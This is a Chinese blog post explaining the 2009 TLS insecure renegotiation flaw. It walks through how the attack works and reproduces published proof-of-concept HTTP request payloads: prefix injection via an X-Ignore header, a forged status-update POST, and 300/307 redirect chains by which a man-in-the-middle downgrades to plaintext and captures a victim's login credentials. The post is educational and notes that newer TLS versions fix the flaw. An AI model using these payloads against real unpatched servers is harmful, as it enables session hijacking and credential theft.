标签：
周末阅读TLS的相关材料，发现不安全的重协商这块网上没什么中文资料，于是总结一下写了篇小文章。同时拿给了360安全播报(http://bobao.360.cn/learning/detail/2273.html)，但是那个格式有点错了，这里也贴上来，请不吝指教，谢谢！
这些年来，SSL/TLS协议的安全性一直是国内外安全研究者研究的重点。在近些年里，针对TLS的漏洞，出现了很多种攻击，如2009年的InSecure Renegotiation（不安全的重协商），2011年的BEAST攻击，2012年的CRIME攻击，以及2013年的Lucky 13，RC4 biases，TIME和BREACH，还有2014年的贵宾犬Poodle攻击。
我们知道，在SSL3.0中引入了支持密码学参数的重协商的特性。当Client或者Server请求重新谈判时，将会有一次新的握手过程，以协商新的安全参数。
这一切看起来都没有问题，但是安全研究者们仍然发现了安全问题，这就是我们今天讨论的主题：Insecure Renegotiation。
这个安全问题的起因在于，应用层和加密传输层因为分层的设计，几乎没有互动。举个例子来说，重协商可以发生在一次HTTP请求过程的中间，但应用层并不知晓。
此外，还有可能的一种情况是，Web服务器会将重协商之前的接收数据缓存，和重协商之后的数据一起转发给应用服务器。当然重协商之后参数会发生变化，如可能使用了不同的客户端证书，从而最终导致了TLS和Web应用出现mismatch（不协调）。
攻击流程：
示意图如下。这里我们示意其对HTTP GET请求的一次注入过程。
通过重放Client（victim）的重协商请求包，我们发起攻击。利用的前提条件是找到一个触发重协商的点。当然如果有用户主动发起重协商是最好不过的，如果一些网站在某些条件下需要重协商，攻击者也可以加以利用。
利用不安全的重协商，其攻击的影响主要取决于底层协议和服务器的实现，攻击HTTP是最容易想到的一种利用，这种攻击存在很多变体，Thierry Zoller对HTTP攻击提出了攻击向量与POC。
这是最简单的攻击，举个例子吧：
GET /PATH/TO/RESOURCE.jsp HTTP/1.0
X-Ignore: GET /index.jsp HTTP/1.0
Cookie: JSESSIONID=BASD429ERTLKP09W3P0932K
加粗的部分就是我们前面注入的Payload。
攻击者虽然借用了受害者的身份凭证等机密信息访问了任意GET，但是攻击者不可能获得返回的结果，这种效果和CSRF攻击的效果比较像。
访问中比较重要的信息就是Cookie、Session等凭证信息，也是攻击者瞄准的重点。Anil在Twitter（这是什么网XD）上提出了这种攻击：
POST /statuses/update.xml HTTP/1.0
Authorization: Basic [attacker‘s credentials]
Content-Type: application/x-www-form-urlencoded
Content-Length: [estimated body length]
status=POST /statuses/update.xml HTTP/1.1
Authorization: Basic [victim‘s credentials]
加粗部分是我们的Payload。前一阵很流行用思聪老公的号发微博，这个正好相反。
如果攻击者可以发现攻击目标网站有一些用户重定向的存在，那么攻击就更加有意思了，Mikhail对此进行了一些探索：
1 将用户重定向到恶意网站
如果我们发现的重定向点可以将参数回放到返回重定向的Location字段，那么我们可以很容易将用户重定向到恶意网站，不过这种情况并不多见。
2 降级劫持
如果重定向的点是不受HTTPS保护的plaintext web site，那么TCP连接便会暴露，我们即可以通过SSLSTRIP的方式劫持受害者的访问。
GET /Some300Resource HTTP/1.1
Connection:close
Host:virtualhost2.com
\r\n\r\n
GET /clientsoriginalrequest HTTP 1.1
Host:bank.com
3 POST 劫持
如果返回307状态的用户跳转的话，代表着服务器要求浏览器以和本次访问一样的Request访问跳转的内容。
我们来看下面的攻击过程：
MITM->Bank.com:443
POST /some307resource HTTP/1.1
X-Ignore: POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n
Client<-Bank.com:443
307 OK HTTP/1.1
Location: http://www.plaintext.com/PostComment
\r\n\r\n
Client->MITM:80->plaintext.com:80
POST /PostComment HTTP/1.1
Host: plaintext.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n
在这一步，攻击者作为中间人已经可以获得受害者的账户密码。
Client<-MITM:80
307 OK HTTP/1.1
Location: https://www.bank.com/login.jsp
\r\n\r\n
Client->Bank.com:443
POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n
为了使攻击伪装的更好，我们用一个307跳转跳转回bank登陆，看起来什么都没有发生，但是攻击已经成功。
4 其他
TRACE http请求需要server将request放在response中原样返回。如果这种情况出现我们就可以控制返回包中的一些内容。有趣的是，有些小众的浏览器可以以http格式解析包头中的内容从而造成XSS。
针对SMTP和FTP两种协议也存在着攻击的理论可能。
对于SMTP，Wietse Venema针对Postfix做了研究，但是侥幸的是，因为一些实现的问题，导致这个漏洞并不会被触发。与此同时，SMTP本身安全性过差导致这个漏洞没有很大的价值。
对于FTP，则可以利用这个漏洞达到TELL SERVER DISABLE ENCRYPTION的效果，之后所有的数据就会取消加密，从而造成信息泄露的问题。
解决不安全的重协商这种攻击在起初时给出了两个思路：
不用分析，两种方法高下立判。当然，在新版本的传输层安全协议中这个问题已经得到了很好的解决，但是漏洞与攻击思路，在我们今天的安全研究中仍可以起到一些借鉴作用。
[1]MITM attack on delayed TLS-client auth through renegotiation
http://www.ietf.org/mail-archive/web/tls/current/msg03928.html
[2]TLS/SSLv3 renegotiation vulnerability explained
http://www.g-sec.lu/tools.html
[3]TLS renegotiation vulnerability: definitely not a full blown MITM, yet more than just a simple CSRF
http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html
[4]Generalization of the TLS Renegotiation Flaw Using HTTP 300 Redirection to Effect Cryptographic Downgrade Attacks b284
http://www.leviathansecurity.com/white-papers/tls-and-ssl-man-in-the-middle-vulnerability/
[5]Google
http://www.google.com
标签：
原文地址：http://www.cnblogs.com/windcarp/p/4996461.html
